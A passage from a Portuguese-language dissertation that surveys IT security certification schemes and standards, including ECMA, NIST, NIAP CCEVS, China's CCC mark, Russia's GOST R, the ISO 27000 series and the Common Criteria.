Desenvolver, em conjunto com as organizações nacionais, europeias e internacionais, normas e relatórios técnicos que facilitem a normalização e utilização das Tecnologias de Informação e Comunicação e Eletrónica de Consumo; Encorajar a correta utilização de normas através da influência direta no ambiente onde elas serão aplicadas; Publicar estas normas e relatórios técnicos de modo a que possam ser livremente utilizados por todas as partes interessadas.

Durante os últimos 40 anos, a ECMA contribuiu de forma ativa para a normalização nas tecnologias de informação e telecomunicações, com mais de 500 publicações, entre normas e relatórios técnicos, sendo que mais de 200 foram também adotados como ISOs [34].

Esta associação é constituída por membros empresariais e organizações sem fins lucrativos. Os Ordinary Members são empresas que têm interesse e experiência em matérias relacionadas com um ou mais Comités Técnicos da Associação e que têm o direito de votar na Assembleia Geral tal como exercer outros direitos exclusivos. Os Associate Members são idênticos aos Ordinários mas sem o direito de voto. Os SME Members são empresas que têm interesses análogos aos Associados, mas com um volume de faturação menor. Os Small Private Companies são empresas com não mais do que 5 colaboradores. E finalmente os NFP Members são organizações sem fins lucrativos [34].

13 ISO Technical Committee 97 – é um comité técnico com o objetivo de discutir e implementar questões relacionadas com as Tecnologias de Informação.

.



40 .

A estrutura organizacional da Ecma International é simples, em primeiro lugar o trabalho técnico é realizado pelos Comités Técnicos, depois, o resultado deste trabalho pode ser submetido duas vezes por ano à Assembleia Geral para aprovação e consequente publicação em documento próprio da Ecma. Estes documentos e normas, depois de aprovados, e caso a assembleia geral assim decida, podem ser submetidos à ISO/IEC JTC1 para aprovação e publicação [34].

Mais concretamente para esta Dissertação, das normas publicadas existem algumas relacionadas com a Segurança em Sistemas TI, nomeadamente o Standard ECMA-205 Commercially Oriented Functionality Class for Security Evaluation - COFC de dezembro de 1993, que tinha como objetivo definir classes de funcionalidades de segurança para o mercado comercial. Esta norma foi articulada com os conceitos dos já referidos TCSEC e ITSEC e dizia apenas respeito a Segurança de Sistemas TI, e apenas a sistemas utilizador único ou multiutilizador, não focando aspetos para redes de computadores ou acessos remotos. Mais tarde, em 1999 saiu uma nova versão da norma anterior designada ECMA-271 Extended Commercially Oriented Functionality Class for Security Evaluation - E-COFC que estende a aplicação do ECMA-205 a sistemas em rede [34].

Dos Relatórios Técnicos publicados pela Ecma International, existe o Technical Report TR/64 Secure Information Processing versus the Context of Product Evaluation, de 1993, que examinava a importância dos critérios de avaliação de segurança e o acompanhamento do processo de avaliação num ambiente comercial. Neste Relatório argumentava-se que estas avaliações eram benéficas e eram dadas recomendações para a criação de um programa de segurança em TI com especial ênfase nas avaliações de segurança [34].

Estas normas e relatórios técnicos não fornecem no entanto qualquer informação relativa à realização de testes e avaliações para certificação de idoneidade de equipamento informático.

3.4. Sistema de Certificação nos Estados Unidos da América

Em termos de Certificação nos Estados Unidos da América, embora não exista um Sistema específico para a Certificação de Idoneidade de Equipamento Informático, existem alguns sistemas de Certificação que garantem que determinados produtos cumprem com determinados requisitos.

.



41 .

3.4.1. CSA International

Nos Estados Unidos da América existe uma organização designada de CSA International que efetua testes e certificação de produtos de acordo com determinadas normas nacionais e internacionais.

A marca de certificação CSA International com o indicador “US” ou “NRTL” significa que o produto satisfaz as normas exigidas e sobre as quais foi testado e avaliado. O objetivo é facilitar o comércio de produtos através de uma marca que seja reconhecida tanto por fabricantes como por consumidores [35].

Para efetuar a certificação são necessários alguns procedimentos [35]:

Início do processo através do contacto por parte do cliente à CSA International, de modo a fornecer alguns elementos como por exemplo: documentação e imagens do produto, uma lista dos materiais e componentes utilizados no produto, incluindo referências aos respetivos fabricantes e fornecedores, informação detalhada sobre a fábrica ou laboratório onde o produto foi desenvolvido, entre outra informação importante; Fornecimento por parte do cliente de amostras e informação relevante do produto para os testes; Resposta por parte do cliente ao resultado dos testes, caso seja necessário, e por recomendação da CSA International, o cliente poderá ser obrigado a efetuar modificações no produto de modo a respeitar requisitos e obter a certificação; Uma vez o produto respeite todos os requisitos, aposição por parte do cliente da marcação CSA no produto.

A CSA International efetua a marcação de diversos produtos como por exemplo equipamento elétrico, produtos industriais, equipamentos de saúde, cabos e equipamentos de comunicações, e mais especificamente a categoria de produtos de entretenimento elétricos e eletrónicos, que incluem diversos equipamentos TI, no entanto não há referência a uma certificação específica de idoneidade de equipamento informático.

Figura 14 - CSA International (Fonte: http://www.csa-international.org/)

.



42 .

3.4.2. NIST – National Institute of Standards and Technology

O National Institute of Standards and Technology – NIST fundado em 1901, é um dos laboratórios científicos Americanos mais antigos, e faz atualmente parte do U.S. Department of Commerce. O Congresso Americano criou, na altura, esta Agência com o intuito de acompanhar as capacidades de alguns países europeus, como a Inglaterra ou a Alemanha, no que dizia respeito a possuir uma infraestrutura capaz de medir e quantificar a competitividade industrial [36].

Hoje em dia o NIST tem como missão promover a inovação e competitividade industrial através de mecanismos de medição e quantificação científica de normas e de tecnologia de modo a aumentar e melhorar a segurança, e desta forma a economia e a qualidade de vida. Este Instituto publica anualmente cerca de 2000 artigos e relatórios técnicos em jornais profissionais ou conferências de índole técnica, resultado da investigação em diversas áreas que leva a cabo. O NIST oferece também um conjunto de normas (SRMs - Standard Reference Materials) cuidadosamente elaboradas de forma a permitirem uma verificação precisa de instrumentos e testar procedimentos. Em 2001 o NIST distribuiu mais de 32000 normas à Indústria, não só a nível dos Estados Unidos mas também um pouco por todo o Mundo, e os técnicos realizaram cerca de 18000 testes de calibração tal como acreditaram mais de 800 laboratórios de testes e calibração [36].

Atualmente os mecanismos de medição suportam desde a mais pequena tecnologia como dispositivos à escala nano14 utilizados por exemplo em centros ou institutos de investigação científica, até às maiores e mais complexas criações humanas como por exemplo redes de comunicações globais [36].

Mais concretamente na área das TI, o NIST trabalha em frentes como a Cibersegurança e a Biometria, acelerando o desenvolvimento e implementação de sistemas que sejam usáveis, confiáveis, duráveis, e seguros. Também trabalha em áreas como a ciência computacional e conduz investigações para o desenvolvimento de tecnologias de informação emergentes [36].

Em 2008 o NIST publicou o Performance Measurement Guide for Information Security - PMGIS. Este Documento é um Guia de Assistência à seleção, desenvolvimento e implementação de medidas de segurança a serem adotadas ao nível de Sistemas de Informação. Estas medidas devem indicar e quantificar a eficácia, eficiência e o

14 1nm = 1×10 9 m

Figura 15 - Performance Measurement Guide for Information Security - NIST (Fonte: http://www.nist.gov/)

.



43 .

impacto dos controlos de segurança adotados. As Empresas e Organizações podem então utilizar estas medidas como ferramentas de gestão internas, para facilitar a tomada de decisões e melhorar o desempenho interno. Esta informação auxilia os responsáveis pela Segurança a decidirem que controlos de segurança podem ser não-produtivos e/ou onde investir em recursos de segurança adicionais [37].

A necessidade de medir e quantificar o desempenho da Segurança da Informação é muitas vezes impulsionada por algumas leis e regulamentos, ou por outros fatores regulatórios, financeiros ou organizacionais [37].

O PMGIS é uma continuação e agregação de publicações anteriores por parte do NIST, que tinham como objetivo assistir e apoiar pessoal da gestão e segurança da Informação na implementação e manutenção de sistemas e programas de segurança. Este Documento é um Guia que explica o processo de desenvolvimento e aplicação das medidas de segurança e como o resultado das quantificações do seu sucesso pode ser utilizado para justificar adequadamente investimentos na área da segurança por parte das organizações [37].

Este Guia está organizado da seguinte forma: a Introdução que enuncia um pouco da história no que toca a medidas de Segurança da Informação, qual o objetivo do Documento, quais os fatores de sucesso para a implementação de um programa de Segurança da Informação, um Capítulo destinado aos papéis e responsabilidades das pessoas envolvidas numa implementação deste tipo, um Capítulo destinado a alguns aspetos sobre as medidas de segurança da Informação propriamente ditas, tais como a sua definição, objetivos, tipos, implementação, benefícios da implementação, impacto, entre outros, um Capítulo destinado a assuntos legislativos e estratégicos nomeadamente aspetos relacionados com alguns diplomas ao nível governamental, um Capítulo destinado ao processo de desenvolvimento das medidas onde se especifica a aproximação e o processo utilizados para o desenvolvimento das medidas de segurança, e finalmente um Capítulo destinado ao processo de implementação destas medidas em que se enumeram os fatores que afetam e influenciam a implementação de um programa de medidas de Segurança da Informação [37].

Como já foi referido, o PMGIS é um Guia de Assistência à seleção, desenvolvimento e implementação de medidas de segurança a serem adotadas ao nível de Sistemas de Informação, não existindo no entanto nenhuma referência direta a certificação de idoneidade de equipamento informático.

.



44 .

3.4.3. CCEVS - NIAP Common Criteria Evaluation and Validation Scheme for IT Security

O NIST e a NSA estabeleceram um Programa ao abrigo da National Information Assurance Partnership - NIAP a fim de avaliar a conformidade de produtos TI com normas internacionais [38].

Este Programa, oficialmente conhecido como NIAP Common Criteria Evaluation and Validation Scheme for IT Security – CCEVS, é uma parceria entre os setores público e privado, e foi implementado com o objetivo de ajudar os consumidores a escolher produtos TI que fossem de encontro aos seus requisitos de segurança, ao mesmo tempo que também tem o objetivo de ajudar os fabricantes desses produtos a ganhar aceitação no mercado global [38].

Os principais objetivos deste Programa são [38]:

Satisfazer as necessidades do governo e da indústria para uma avaliação rentável de produtos de TI; Incentivar a formação de Laboratórios Comerciais de Testes de Segurança e o desenvolvimento de uma indústria de testes de segurança no sector privado; Garantir que as avaliações de segurança dos produtos de TI são efetuadas segundo normas consistentes; Melhorar a disponibilidade de produtos de TI avaliados.

O Programa pretende servir diversas comunidades de interesse com diferentes papéis e responsabilidades, que incluem fabricantes, integradores de sistemas, vendedores, investigadores de segurança, auditores e consumidores de produtos TI. A estreita cooperação entre o governo e a indústria é fundamental para o sucesso do sistema e à realização dos seus objetivos [38].

Os objetivos a longo prazo da parceria NIAP são ajudar a aumentar o nível de confiança que os consumidores depositam nos seus sistemas de informação e redes de computadores, através da utilização de programas de avaliação rentáveis. Para alcançar estes objetivos, a NIAP procura [38]:

Promover o desenvolvimento e utilização de produtos e sistemas TI devidamente avaliados; Promover o desenvolvimento e utilização de normas TI nacionais e internacionais;

Figura 16 - NIAP Common Criteria Evaluation and Validation Scheme for IT Security (Fonte: http://www.niap-ccevs.org

.



45 .

Promover a pesquisa e desenvolvimento de requisitos de segurança em TI, métodos de teste, ferramentas, técnicas e métricas; Apoiar um quadro para o reconhecimento internacional e aceitação de testes de segurança de TI e os resultados das suas avaliações; Facilitar o desenvolvimento e crescimento de uma indústria comercial de testes de segurança nos Estados Unidos.

Os Laboratórios de Teste aprovados pelo NIAP são Laboratórios de Teste de Segurança em TI, e que são acreditados pelo National Voluntary Laboratory Accreditation Program – NVLAP e preenchem os requisitos do CCEVS no que diz respeito à execução de avaliação de segurança em produtos TI, que esteja em conformidade com o Common Criteria for Information Technology Security Evaluation, International Standard ISO/IEC 15408, que será abordado mais à frente nesta Dissertação [38].

3.5. Sistema de Certificação na China

Em termos de Certificação na China, embora não exista um Sistema específico para a Certificação de Idoneidade de Equipamento Informático, existem alguns sistemas de Certificação que garantem que determinados produtos cumprem com determinados requisitos.

3.5.1. CCC Mark - China Compulsory Certification Mark

Implementado em agosto de 2003, o CCC Mark - China Compulsory Certification Mark começou a partir dessa data a regulamentar a importação de muitos produtos para o mercado interno da República da China, incluindo produtos TI. A China integrou os seus dois anteriores sistemas de inspeção, um que verificava o conteúdo dos produtos para importação ou exportação e outro para controlo de qualidade, num procedimento único que faz parte do seu compromisso de entrada na World Trade Organization15 [39].

O CCC é administrado pelo Certification and Accreditation Administration – CNCA e o China Quality Certification Centre – CQC é designado pelo CNCA para processar a aplicação da marca CCC e definir quais os produtos que a necessitam [40]. 15 A World Trade Organization - WTO é uma organização com o objetivo de supervisionar e liberalizar o comércio e as trocas internacionais. Fonte: http://www.wto.org

Figura 17 – CCC Mark (Fonte: http://www.ccc-mark.com/)

.



46 .

De acordo com a Lei Chinesa e Regulamentos para o Compulsory Product Certification, o sistema CCC Mark deve ser aplicado a todos os produtos relacionados com a vida humana e saúde, animais, plantas, proteção ambiental e segurança nacional, produtos que se agrupam em 22 grupos que por sua vez se dividem em 159 categorias [39].

Estas categorias vão desde aparelhos de baixa voltagem, cabos e equipamento elétrico, ferramentas elétricas, eletrodomésticos e equipamentos similares para uso doméstico, aparelhos de áudio e vídeo, motores de veículos e respetivas peças, equipamentos para uso médico, entre outros. Existe uma categoria específica para produtos de Tecnologias de Informação, que engloba computadores pessoais, portáteis, impressoras, scanners e outros equipamentos desta área [39].

Qualquer produto que esteja descriminado no catálogo CCC de grupos e categorias deve adquirir uma marca CCC a fim de poder ser utilizado para fins comerciais na China. Esta marca é mais conhecida entre fabricantes, armazenistas e exportadores, do que propriamente dos consumidores [39].

Os procedimentos para obter a marca CCC passam por [41]:

Os fabricantes deverão consultar no catálogo CCC de produtos para verificar se os seus produtos, ou partes deles, se encaixam numa das categorias; Passos para a aplicação da Marca CCC:

o Submissão do formulário de intenção de certificação (Product Safety Certification Intent Application) tal como diversos materiais relativos ao produto tais como materiais de suporte, manuais, relatórios, outras certificações, entre outros.

o Testes num Laboratório chinês designado pela CNCA, a fim de testar o produto ou parte dele.

o Inspeção à fábrica, ou fábricas, onde o produto foi elaborado por parte de representantes do organismo de certificação chinês.

o Avaliação dos resultados a fim de aprovar ou rejeitar a aplicação da Marca CCC. Caso o resultado seja negativo, o fabricante é informado das razões a fim de poder efetuar as correções e ser realização nova avaliação.

o Supervisionamento: a fábrica ou fábricas serão reinspeccionadas pelos organismos chineses todos os 12 ou 18 meses.

Verificação de outros requisitos de certificação. A China, à semelhança de outros países, tem múltiplos esquemas de certificação. Embora a marcação CCC seja o mais abrangente, os fabricantes devem verificar se os seus produtos têm que obedecer a outros requisitos. Por exemplo, o Ministério da Indústria da Informação Chinês regula os equipamentos de telecomunicações e de acesso à Internet, e em alguns casos os fabricantes deverão obter as marcas "Network Access License" e "Network Access Identifier Mark" que incluem os

.



47 .

requisitos para os testes a efetuar em Laboratórios Chineses. Também os produtos médicos e farmacêuticos necessitarão de licença por parte de outra entidade nomeadamente a State Food and Drug Administration - SFDA16 [40].

Segundo a CNCA ter os produtos certificados com a marca CCC antes da sua exportação para a China, facilitará a sua entrada neste mercado, tal como aumentará a reputação do fabricante e melhorará a aceitação do produto perante os consumidores chineses [40].

Mais concretamente para esta Dissertação, e no que concerne a testes e avaliações de equipamento informático para aposição da Marca CCC, não foi possível ter acesso ao tipo de avaliações que são efetuadas, sendo que nas várias referências consultadas é referido apenas que as mesmas vão de acordo aos Standards utilizados e reconhecidos na China.

3.6. Sistema de Certificação na Rússia

Em termos de Certificação na Rússia, embora não exista um Sistema específico para a Certificação de Idoneidade de Equipamento Informático, existem alguns sistemas de Certificação que garantem que determinados produtos cumprem com determinados requisitos.

3.6.1. Normas GOST R

De modo a enquadrar-se nos mercados globais, a Rússia realizou nos últimos anos esforços no sentido de harmonizar as suas normas com as europeias e internacionais. Para alguns grupos de produtos a conformidade entre normas é total, mas nalgumas áreas, que por exemplo afetem diretamente a segurança nacional, esta conformidade não é tão fácil de aplicar [42].

As normas GOST foram originalmente desenvolvidas pelo governo da União Soviética como parte da sua estratégia nacional de normalização. A palavra GOST é um acrónimo de gosudarstvennyy standart, que significa standard do governo. As primeiras normas, as GOST 1 – State Standardization System foram publicadas em 1968 [43]. 16 A State Food and Drug Administration é a organização responsável pela supervisão de segurança alimentar e farmacêutica na China. Fonte: http://en.wikipedia.org/wiki/State_Food_and_Drug_Administration

Figura 18 - Certificação na Rússia GOST-R (Fonte: http://www.gost-r.info/gost-r.php)

.



48 .

Após a desintegração da União Soviética, as normas GOST passaram a ser administradas pela Euro-Asian Council for Standardization, Metrology and Certification – EASC, que é uma organização de critérios e normas sobre a alçada da Commonwealth of Independent States - CISP17 [43].

Atualmente as normas GOST incluem mais de 20000 títulos utilizados em atividades de avaliação de conformidade em 12 países, e servem como base regulatória para os programas de certificação tanto do setor governamental como do privado, e abrangem áreas tais como energia, gás, petróleo, proteção ambiental, construção, transportes, telecomunicações, entre outras indústrias [43].

Em meados dos anos 80, os países que adotaram as normas GOST foram: Rússia, Bielorrússia, Ucrânia, Moldávia, Cazaquistão, Azerbaijão, Arménia, Quirguistão, Usbequistão, Tajiquistão, Geórgia e Turquemenistão. Atualmente alguns destes países utilizam apenas normas desenvolvidas internamente [43].

Existem atualmente na Rússia 16 sistemas de certificação obrigatórios relacionados com diversas áreas como por exemplo: o sistema naval, sistemas e equipamentos aeronáuticos, sistemas elétricos e eletrónicos, sistemas e equipamentos para instalações nucleares, equipamentos topográficos, equipamentos médicos, e alguns deles também relacionados com a segurança da informação [42].

Entre estes sistemas de certificação, encontra-se o GOST R que consiste em 40 subsistemas de certificação de determinados produtos consoante a sua categoria. As normas GOST R têm como objetivo fornecer ao cliente produtos e serviços, não só nacionais como importados, com a máxima segurança e qualidade atestando que estes produtos e serviços cumprem as normas internas da Rússia [42].

As entidades de certificação GOST R estão sob a alçada da Russian Governmental Standards – GOSSTANDART18.

Os passos para se obter a certificação GOST R são os seguintes [44]:

Submissão por parte do fabricante do formulário de intenção de certificação; Revisão do formulário por parte da GOSSTANDART a fim de verificar quais os procedimentos a adotar e escolher um esquema de certificação. Seleção por parte da GOSSTANDART do Laboratório de testes.

17 A Commonwealth of Independent States é a organização composta por países da antiga União Soviética que embora não seja comparável a uma Federação, Confederação ou outra União Supranacional, e tem como objetivo coordenar o comércio, as trocas, as finanças e a segurança entre os seus membros. Fonte: http://en.wikipedia.org/wiki/Commonwealth_of_Independent_States 18 O GOSSTANDART foi a agência governamental Soviética responsável pela normalização e gestão de qualidade. Fonte: http://en.wikipedia.org/wiki/State_Committee_for_Standards_and_Product_Quality_Management

.



49 .

Desenvolvimento pelo Laboratório do programa de certificação, através da seleção e identificação de amostras do produto e respetivos testes e avaliações. Análise dos resultados dos testes e avaliações do produto a fim de aprovar ou rejeitar a aplicação da certificação. Certificação do processo de produção ou certificação de qualidade do produtor. Elaboração e registo do processo de produção ou certificação de qualidade do produtor a fim de entrar no processo de certificação State Certification System Register GOST R. Atribuição ao fornecedor do certificado de conformidade do processo de produção do produto ou certificação de qualidade do produtor. Elaboração e registo do certificado de conformidade para produtos, e entrada do mesmo no sistema de certificação State Certification System Register GOST R. Atribuição ao fornecedor do certificado de conformidade e certificado de licença demonstrativos do direito de uso da marca de certificação. Inspeção e controlo da estabilidade das características dos produtos certificados, dos processos de produção e da certificação de qualidade do produtor.

A certificação pode ser necessária para que os fabricantes possam vender os seus produtos no mercado Russo, e também para questões relacionadas com alfândega. A certificação pode ser obrigatória ou voluntária e foi criada para proteger os direitos do consumidor evitando a importação de produtos com fraca qualidade. Existem regulamentos que descriminam as categorias de produtos que estão sujeitas a certificação obrigatória. Existem regulamentos sobre a certificação que estabelecem normas que têm que ser cumpridas a fim de os produtos poderem receber a certificação GOST-R [44].

De acordo com a resolução do State Customs Committee of Russia, a importação de produtos produzidos fora da Rússia devem cumprir as normas nacionais de qualidade, e consequentemente serem sujeitos a um processo de certificação [44].

Mais concretamente para esta Dissertação, e no que concerne a testes e avaliações de equipamento informático para aposição da Marca GOST-R, não foi possível ter acesso ao tipo de avaliações que são efetuadas, sendo que nas várias referências consultadas é referido apenas que as mesmas vão de acordo às normas utilizadas e reconhecidas na Rússia.

.



50 .

3.7. ISO - International Organization for Standardization

A International Organization for Standardization – ISO, é uma Organização Internacional para a Normalização. Esta Organização foi fundada em 1947, e desde então publicou mais de 19000 normas internacionais abrangendo áreas tão diversificadas como a agricultura, saúde, segurança da informação e computadores, tecnologia, entre outras [45].

A ISO é portanto uma rede de organismos nacionais atualmente constituída por 164 países, e 3335 organismos técnicos responsáveis pelo desenvolvimento das normas. Estes organismos nacionais de normalização que compõem a associação ISO representam-na no seu respetivo país. Mais de 150 pessoas trabalham a tempo inteiro na Sede da ISO em Genebra, na Suíça [45].

Existem três categorias de membros, em que cada uma confere diferentes níveis de acesso e influência no sistema ISO, os Membros Efetivos que influenciam o desenvolvimento das normas através da participação e votação nas reuniões técnicas, podendo vender e adotar normas internacionais ISO no seu país, os Membros Correspondentes que observam o desenvolvimento das normas através da participação nas reuniões técnicas como observadores, podendo vender e adotar normas internacionais ISO no seu país e os Membros Assinantes que se mantêm atualizados sobre o trabalho nas normas internacionais ISO mas que não podem vender ou adota-las nos seu país [45].

As normas ISO podem trazer às Organizações benefícios tecnológicos, económicos e sociais na medida em que ajudam a harmonizar especificações técnicas de produtos e serviços, tornando assim a indústria mais eficiente e quebrando barreiras para o comércio internacional. Esta conformidade para com as normas ISO ajuda a assegurar os consumidores ou utilizadores de determinado produto ou serviço que o mesmo é seguro, eficiente e ecológico [45].

Estes benefícios podem, caso as Empresas e Organizações assim o desejem, ser Certificados. Esta Certificação pode ter nas suas razões requisitos contratuais ou regulamentares, requisitos de determinados clientes, requisitos da própria Organização quer em termos de credibilidade quer em termos de objetivos para com os próprios colaboradores, no sentido destes se motivarem para que se cumpram todas as normas de modo a alcançar e manter a Certificação. A ISO não realiza ela própria a Certificação, mas sim organismos de certificação externos na sua maior parte privados. Quando uma determinada Empresa ou Organização é certificada segundo uma norma ISO, esse certificado é emitido por esse organismo e será acreditado em qualquer País onde as normas ISO sejam reconhecidas [45].

Figura 19 - International Organization for Standardization (Fonte: http://www.iso.org)

.



51 .

Existem algumas normas relacionadas com a Segurança, tais como:

ISO/IEC 15408 – que se divide em ISO/IEC 15408-1:2009 - Information technology - Security techniques - Evaluation criteria for IT security - Part 1: Introduction and general model, ISO/IEC 15408-2:2008 - Information technology - Security techniques - Evaluation criteria for IT security - Part 2: Security functional components e ISO/IEC 15408-3:2008 - Information technology - Security techniques - Evaluation criteria for IT security - Part 3: Security assurance components. Esta norma estabelece os conceitos e os princípios gerais de avaliação de segurança em TI, define o conteúdo e apresentação dos requisitos funcionais de segurança a serem avaliados, define os requisitos de garantia do critério de avaliação, entre outros conceitos e normas importantes na área dos critérios de avaliação para a segurança em TI; ISO/IEC TR 15443-1:2005 - Information technology - Security techniques - A framework for IT security assurance - Part 1: Overview and framework. Esta norma é um relatório técnico que fornece uma estrutura de apoio a profissionais de segurança na seleção de um método de segurança adequado; ISO/IEC 18028 – que se divide em ISO/IEC 18028-3:2005 - Information technology - Security techniques - IT network security - Part 3: Securing communications between networks using security gateways, ISO/IEC 18028-4:2005 - Information technology - Security techniques - IT network security - Part 4: Securing remote access e ISO/IEC 18028-5:2006 - Information technology - Security techniques - IT network security - Part 5: Securing communications across networks using virtual private networks. Esta norma fornece uma visão geral sobre segurança em diferentes áreas de redes de computadores, nomeadamente técnicas de análise de trafego de rede (por exemplo: packet filtering, stateful packet inspection, application proxy, network address translation, content analysing and filtering); ISO/IEC 24762:2008 - Information technology - Security techniques - Guidelines for information and communications technology disaster recovery services. Esta norma fornece orientações sobre a recuperação de desastres em tecnologias de informação e comunicação, nomeadamente os requisitos para implementar, operar, monitorizar e manter estruturas de recuperação de desastres.

A série de normas 27000 foi especificamente reservada pela ISO para questões relacionadas com a Segurança da Informação. Já foram publicadas um conjunto destas normas devidamente alinhadas com algumas anteriores, nomeadamente a ISO 9000 relacionada com a Gestão da Qualidade e a ISO 14000 relacionada com a Gestão Ambiental, e existem ainda outras normas que estão agendadas para publicação [46].

.



52 .

Atualmente a série ISO 27000 está organizada do seguinte modo:

ISO/IEC 27000:2009 - Information technology - Security techniques - Information security management systems - Overview and vocabular. Esta norma fornece uma visão global sobre os Sistemas de Gestão da Segurança da Informação, tal como o vocabulário e definições que serão utilizados pelas restantes normas da família 27000; ISO/IEC 27001:2005 – Information technology - Security techniques - Information security management systems – Requirements. Esta norma cobre todos os tipos de organizações e especifica os requisitos para estabelecer, implementar, operar, monitorizar, rever, manter e aprovar um Sistema de Gestão de Segurança da Informação - SGSI. Especifica também os requisitos para a implementação de controlos de segurança específicos a cada organização ou sectores específicos das mesmas, de forma a proteger os bens com um grau de confiança elevado; ISO/IEC 27002:2005 - Information technology - Security techniques - Code of practice for information security management. Esta norma fornece um código de boas práticas e de controlos de segurança de apoio à ISO 27001, no sentido da implementação de um SGSI; ISO/IEC 27003:2010 - Information technology - Security techniques - Information security management system implementation guidance. Esta norma fornece diretrizes práticas essenciais para a implementação de um Sistema de Gestão da Segurança da Informação de acordo com a ISO 27001. Esta norma foca-se nos aspetos críticos de desenho e implementação de um SGSI de sucesso; ISO/IEC 27004:2009 - Information technology - Security techniques - Information security management – Measurement. Esta norma fornece orientação para o desenvolvimento e a medição da eficácia de um SGSI; ISO/IEC 27005:2011 - Information technology - Security techniques - Information security risk management. Esta norma fornece orientação para todo o ciclo de controlo de riscos na organização. Suporta os conceitos gerais especificados na ISO/IEC 27001 e foi desenhado para garantir uma implementação satisfatória de um SGSI baseado numa aproximação de gestão de riscos; ISO/IEC 27006:2007 - Information technology - Security techniques - Requirements for bodies providing audit and certification of information security management systems. Esta norma especifica requisitos e oferece diretrizes a organizações que efetuam certificação e registo de Sistemas de Gestão da Segurança da Informação de acordo com os requisitos especificados nas normas ISO/IEC 17021 e ISO/IED 27001. Qualquer entidade que efetue certificação na norma 27001 deve cumprir os requisitos da norma 27006.

.



53 .

No âmbito das Técnicas de Segurança, existe um grupo de normas, nomeadamente as publicadas pelo Joint Technical Committee – JTC19, designadas por JTC 1/SC 27 - IT Security Techniques, constituídas por 117 normas ISO, entre elas podem encontrar-se por exemplo normas referentes a Assinaturas Digitais, Mecanismos de Autenticação, Funções Hash, Critérios e Frameworks de Avaliação para Segurança em TI, Técnicas de Criptografia, Proteção de Informação Biométrica, Gestão de Riscos de Segurança da Informação, entre outros. Mais especificamente, existe o Standard ISO/IEC 18045:2008 - Information technology - Security techniques - Methodology for IT security evaluation, que define as ações mínimas que devem ser executadas por um avaliador que deseje avaliar as técnicas de segurança de um sistema TI [45].

Existem várias normas ISO relacionadas com Segurança da Informação e de Sistemas de Informação, no entanto não existe uma específica que aborde procedimentos para a certificação de idoneidade de equipamento informático.

3.8. CC - Common Criteria for Information Technology Security Evaluation

O Common Criteria for Information Technology Security Evaluation normalmente abreviado para Common Criteria ou simplesmente CC, é um critério internacional para a certificação de segurança em equipamentos de TI [47].

O CC foi produzido com o objetivo de unificar o TCSEC, ITSEC e CTCPEC entre outros critérios, de modo a que existisse um único critério reconhecido e utilizado pelo maior número possível de países.

19 O JTC é um Comité conjunto entre a International Organization for Standardization - ISO e a International Electrotechnical Commission IEC onde se juntam especialistas com o objetivo de desenvolver normas na área das Tecnologias de Informação e Comunicação [45].

Figura 20 - Common Criteria (Fonte: http://www.commoncriteriaportal.org/)

.



54 .

A lista de organizações governamentais que contribuíram para o desenvolvimento do CC são as ilustradas na Tabela que se segue [48].

Australia/Nova Zelandia The Defence Signals Directorate e o Government Communications Security Bureau respetivamente

Canada Communications Security Establishment; França Direction Centrale de la Sécurité des Systèmes d'Information; Alemanha Bundesamt für Sicherheit in der Informationstechnik; Japão Information Technology Promotion Agency; Holanda Netherlands National Communications Security Agency; Espanha Ministerio de Administraciones Públicas e o Centro Criptológico

Nacional; Reino Unido Communications-Electronics Security Group; Estados Unidos The National Security Agency e o National Institute of Standards

and Technology.

Tabela 2 - Lista de Organizações Governamentais que contribuíram para o desenvolvimento do Common Criteria

Como titulares conjuntos dos direitos de autor do CC, estas organizações governamentais concedem licença de utilização não exclusiva à ISO/IEC para o desenvolvimento e manutenção da norma ISO/IEC 15408, podendo no entanto a qualquer altura usar, copiar, distribuir, traduzir ou modificar o CC assim detetem essa necessidade [48].

O CC e as Common Methodology for Information Technology Security Evaluation - CEM são as bases técnicas para um Acordo Internacional, o Common Criteria Recognition Arrangement - CCRA que garante que [47]:

Os produtos podem ser avaliados por laboratórios competentes, independentes e devidamente licenciados, a fim de comprovar que cumprem determinadas propriedades de segurança até um certa medida ou nível de garantia; São utilizados documentos de suporte no processo de certificação do CC, que definem os critérios e os métodos de avaliação que devem ser aplicados para a certificação dos produtos; A certificação das propriedades de segurança de um produto avaliado por um laboratório pode ser emitida por um número de entidades autorizadas para esse fim (Certificate Authorizing Schemes) sendo que esta certificação é baseada no resultado da avaliação destas propriedades; Estes certificados são reconhecidos por todos os membros do CCRA.

O objetivo do Acordo CCRA é promover estes objetivos para que sempre que produtos TI ou perfis de segurança tenham um Certificado CC, a confiança de que obedecem a normas de segurança e que não necessitam de mais nenhuma avaliação deve prevalecer.

.



55 .

Os participantes deste Acordo partilham os seguintes objetivos:

Garantir que as avaliações de produtos TI e perfis de segurança são efetuadas de acordo com altos padrões de exigência de modo a garantir a segurança dos mesmos; Melhorar a disponibilidade de produtos TI e perfis de segurança avaliados; Eliminar a duplicação de avaliações de produtos TI e perfis de segurança; Melhorar constantemente a eficiência e reduzir custos no processo de avaliação e certificação / validação de produtos TI e perfis de segurança.

Assim, ao estabelecer requisitos de avaliação comuns e ao normalizar os métodos de avaliação, o sistema da CC permite às empresas de testes efetuarem a avaliação de produtos TI, para que estes possam ser certificados por entidades especializadas, e deste modo possam ser utilizados em ambientes seguros com confiança. Ao criar um sistema de normalização na avaliação destes produtos, o CC facilita os departamentos de TI das organizações a identificarem quais os produtos que vão de encontro aos seus requisitos de segurança. Um grande número de departamentos de TI militares e governamentais adotaram a certificação CC como um requisito fundamental dos produtos TI que possam adquirir [47] [48].

O CC é intencionalmente flexível, possibilitando a utilização de diferentes métodos e propriedades de segurança que podem ser aplicados aos diversos produtos TI, no entanto é aconselhado aos utilizadores do critério que devem ser tomadas medidas no sentido de aplicar rigor a esta flexibilidade. Por exemplo, a utilização do CC em conjunto com a aplicação de métodos de avaliação inadequados ou propriedades de segurança irrelevantes pode levar a resultados de avaliação inexpressivos. Isto quer dizer que, o facto de um produto TI ter sido avaliado, apenas significa que essa avaliação tem significado no contexto das propriedades de segurança que foram avaliadas e dos métodos de avaliação que foram utilizados. As entidades avaliadoras são aconselhadas pelo CC a efetuarem uma verificação e um estudo cuidado dos produtos, propriedades e métodos a fim de que a respetiva avaliação possa ter resultados significativos. Por outro lado, também os compradores desses produtos são aconselhados a verificarem cuidadosamente o contexto em que essa avaliação foi efetuada, e se poderá ser útil e aplicável às suas necessidades específicas [49].

